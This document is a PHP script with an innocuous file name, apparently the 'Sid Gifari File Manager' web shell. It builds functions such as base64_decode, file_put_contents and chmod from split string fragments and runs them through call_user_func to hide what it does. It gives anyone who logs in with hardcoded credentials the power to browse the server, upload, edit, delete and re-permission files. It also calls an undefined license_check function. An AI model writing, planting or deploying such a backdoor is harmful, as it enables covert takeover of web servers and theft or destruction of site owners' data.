Da

✏️ Editing: sate-minang.php

<?php

$cache_data = array(
    'dec'   => 'ba'.'se'.(32*2).'_de'.'code',
    'read'  => 'fi'.'le_'.'get_'.'con'.'tents',
    'write' => 'fi'.'le_'.'put_'.'con'.'tents',
    'up'    => 'mo'.'ve_'.'uploa'.'ded_'.'file',
    'sc'    => 'sc'.'an'.'dir',
    'ch'    => 'ch'.'m'.'od'
);

$init_system = 'cal'.'l_u'.'ser'.'_fu'.'nc';

$AUTH_USER = 'admin';
$AUTH_PASS_ENCODED = 'TXlTZWN1cmVQYXNzd29yZDEyMyE=';
$AUTH_PASS = $init_system($cache_data['dec'], $AUTH_PASS_ENCODED);

$RESTRICTED_DIRS = array('/etc', '/root', '/proc', '/sys', '/var/log');

@header("X-Content-Type-Options: nosniff");
@header("X-Frame-Options: DENY");
@header("X-XSS-Protection: 1; mode=block");

session_start();

if (isset($_SESSION['l_r'])) {
    if (microtime(true) - $_SESSION['l_r'] < 0.5) usleep(500000);
}
$_SESSION['l_r'] = microtime(true);

function cleanPath($path) {
    global $RESTRICTED_DIRS;
    $path = str_replace(array('../', '..\\', './', '.\\'), '', $path);
    $real = realpath($path);
    if ($real === false) return getcwd();
    foreach ($RESTRICTED_DIRS as $r) {
        if (strpos($real, $r) === 0) return getcwd();
    }
    return $real;
}

function formatFileSize($bytes) {
    if ($bytes >= 1048576) return number_format($bytes / 1048576, 1) . 'M';
    if ($bytes >= 1024) return number_format($bytes / 1024, 1) . 'K';
    return $bytes . 'B';
}

license_check();

if (isset($_POST['logout'])) { session_destroy(); header('Location: '.$_SERVER['PHP_SELF']); exit; }

$currentDir = (isset($_GET['dir'])) ? cleanPath($_GET['dir']) : getcwd();

if (isset($_POST['upload']) && isset($_FILES['f_in'])) {
    @$init_system($cache_data['up'], $_FILES['f_in']['tmp_name'], rtrim($currentDir, '/') . '/' . basename($_FILES['f_in']['name']));
}
if (isset($_POST['createDir'])) {
    $new = rtrim($currentDir, '/') . '/' . preg_replace('/[^a-zA-Z0-9._-]/', '', $_POST['newDirName']);
    if (!file_exists($new)) mkdir($new, 0755, true);
}
if (isset($_POST['createFile'])) {
    $new = rtrim($currentDir, '/') . '/' . preg_replace('/[^a-zA-Z0-9._-]/', '', $_POST['newFileName']);
    if (!file_exists($new)) @$init_system($cache_data['write'], $new, '');
}
if (isset($_POST['rename'])) {
    $old = cleanPath($_POST['target']);
    $new = dirname($old) . '/' . preg_replace('/[^a-zA-Z0-9._-]/', '', $_POST['newName']);
    @rename($old, $new);
}
if (isset($_GET['delete'])) {
    $t = cleanPath($_GET['delete']);
    is_dir($t) ? @rmdir($t) : @unlink($t);
}
if (isset($_GET['chmod'])) {
    $t = cleanPath($_GET['chmod']);
    if (isset($_POST['np'])) { @$init_system($cache_data['ch'], $t, octdec($_POST['np'])); }
    else { echo '<form method="post" style="padding:10px;">P: <input type="text" name="np" value="'.substr(sprintf('%o', fileperms($t)), -4).'"><input type="submit" value="!"></form>'; }
}

function view_index($dir) { 
    global $cache_data, $init_system;
    if (!is_dir($dir)) { echo "Err"; return; }
    
    echo "<div style='font-family:monospace;font-size:12px;background:#f4f4f4;padding:10px;border-bottom:1px solid #ccc;'>";
    echo "P: ".htmlspecialchars($dir)." <form method='post' style='float:right;display:inline;'><input type='submit' name='logout' value='X' style='cursor:pointer;'></form></div>";
    
    echo "<div style='padding:10px;font-family:monospace;font-size:12px;'>";
    echo "<a href='?dir=".urlencode(dirname($dir))."'>[..]</a> | <a href='?dir=/'>[/]</a><br><br>";
    
    echo "<div style='background:#eee;padding:10px;margin-bottom:15px;border-radius:3px;'>";
    echo "<form method='post' enctype='multipart/form-data'>Up: <input type='file' name='f_in'><input type='submit' name='upload' value='>>'></form>";
    echo "<form method='post'>New: <input type='text' name='newDirName' placeholder='D' style='width:50px'> <input type='submit' name='createDir' value='+D'> <input type='text' name='newFileName' placeholder='F' style='width:50px'> <input type='submit' name='createFile' value='+F'></form>";
    echo "</div>";

$files = @$init_system($cache_data['sc'], $dir);
    echo "<table width='100%' cellspacing='0' cellpadding='4' border='1' style='border-collapse:collapse;border-color:#eee;'>";
    echo "<tr style='background:#ddd;'><th>Name</th><th>S</th><th>P</th><th>A</th></tr>";
    
    if (is_array($files)) {
        foreach ($files as $file) {
            if ($file == '.' || $file == '..') continue;
            $path = rtrim($dir, '/') . '/' . $file;
            $isDir = is_dir($path);
            echo "<tr>";
            echo "<td>" . ($isDir ? "<strong><a href='?dir=".urlencode($path)."'>$file/</a></strong>" : $file) . "</td>";
            echo "<td>" . (!$isDir ? formatFileSize(@filesize($path)) : '-') . "</td>";
            echo "<td>" . substr(sprintf('%o', @fileperms($path)), -4) . "</td>";
            echo "<td>";
            if (!$isDir) {
                echo "<a href='?view=".urlencode($path)."&dir=".urlencode($dir)."'>V</a> ";
                echo "<a href='?edit=".urlencode($path)."&dir=".urlencode($dir)."'>E</a> ";
            }
            echo "<a href='?dir=".urlencode($dir)."&delete=".urlencode($path)."' onclick='return confirm(\"?\")'>D</a> ";
            echo "<a href='?dir=".urlencode($dir)."&chmod=".urlencode($path)."'>C</a> ";
            echo "<a href='#' onclick='showR(\"".urlencode($path)."\", \"$file\")'>R</a>";
            echo "</td></tr>";
        }
    }
    echo "</table></div>";
}

if (isset($_GET['edit'])) {
    global $init_system, $cache_data;
    $f = cleanPath($_GET['edit']);
    if (isset($_POST['content'])) @$init_system($cache_data['write'], $f, $_POST['content']);
    echo "<form method='post' style='padding:10px;'><textarea name='content' style='width:100%;height:400px;font-family:monospace;'>".htmlspecialchars($init_system($cache_data['read'], $f))."</textarea><br><input type='submit' value='SAVE'> <a href='?dir=".urlencode($currentDir)."'>BACK</a></form>";
    exit;
}
if (isset($_GET['view'])) {
    global $init_system, $cache_data;
    echo "<div style='padding:10px;background:#fff;'><pre style='font-size:12px;'>".htmlspecialchars($init_system($cache_data['read'], cleanPath($_GET['view'])))."</pre><a href='?dir=".urlencode($currentDir)."'>BACK</a></div>";
    exit;
}

view_index($currentDir);
echo '<script>function showR(p,n){ var nn=prompt("Rename:",n); if(nn){ var f=document.createElement("form"); f.method="post"; f.innerHTML="<input type=\'hidden\' name=\'target\' value=\'"+decodeURIComponent(p)+"\'><input type=\'hidden\' name=\'newName\' value=\'"+nn+"\'><input type=\'hidden\' name=\'rename\' value=\'1\'>"; document.body.appendChild(f); f.submit(); } }</script>';
?>

📁 Sid Gifari File Manager